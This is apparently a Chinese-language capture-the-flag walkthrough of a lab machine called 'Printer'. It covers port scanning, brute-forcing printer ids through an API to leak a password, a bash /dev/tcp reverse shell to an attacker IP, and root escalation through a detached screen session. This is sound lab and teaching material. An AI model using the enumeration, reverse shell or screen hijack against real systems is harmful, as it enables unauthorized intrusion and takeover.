# 靶场搭建
下载:Printer
Nat,IP: 192.168.1.142
# 渗透过程
# 信息初收集
PORT STATE SERVICE VERSION | |
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | |
| ssh-hostkey: | |
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | |
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) | |
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) | |
80/tcp open http Apache httpd 2.4.56 ((Debian)) | |
|_http-server-header: Apache/2.4.56 (Debian) | |
|_http-title: Apache2 Debian Default Page: It works | |
9999/tcp open abyss? | |
| fingerprint-strings: | |
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: | |
| Konica Minolta Printer Admin Panel | |
| Password: | |
| NULL: | |
|_ Konica Minolta Printer Admin Panel |
80 端口目录收集找到了 http://192.168.1.142/api/printers/
进去后发现格式要求,我们构造一个试试: http://192.168.1.142/api/printers/printer1.json
返回了密码,那我们直接枚举,递增 id 去找回复的密码
得到 id1599 的密码: $3cUr3Pr1nT3RP4ZZw0rD
nc 到 9999 端口上输入密码,获取命令执行权限: exec bash -c "bash -i >& /dev/tcp/192.168.1.129/4444 0>&1"
拿到了反弹的 shell
# 提权
screen 有 suid,那么我们看一样相关的东西。进程里面有一个 shell 命令,用来挂起一个名为 root 的会话
我们直接用 screen 切过去: screen -x root/
得到了 root 的 shell
# 小结
while true; do | |
sleep 1 | |
find /var/run/screen/S-root/ -empty -exec screen -dmS root \; | |
done |
这条命令是一个无限循环,每次循环执行以下操作:
sleep 1
:让程序暂停 1 秒钟。find /var/run/screen/S-root/ -empty -exec screen -dmS root \;
:在/var/run/screen/S-root/
目录下查找空的文件,并且针对每个找到的空文件执行screen -dmS root
命令。
这条命令的作用看起来是在不断地监视 /var/run/screen/S-root/
目录下的空文件,并且在发现空文件时使用 screen
命令创建一个名为 "root" 的会话。这种用法可能是为了监控某些进程或者资源,并在需要时自动创建新的 screen 会话。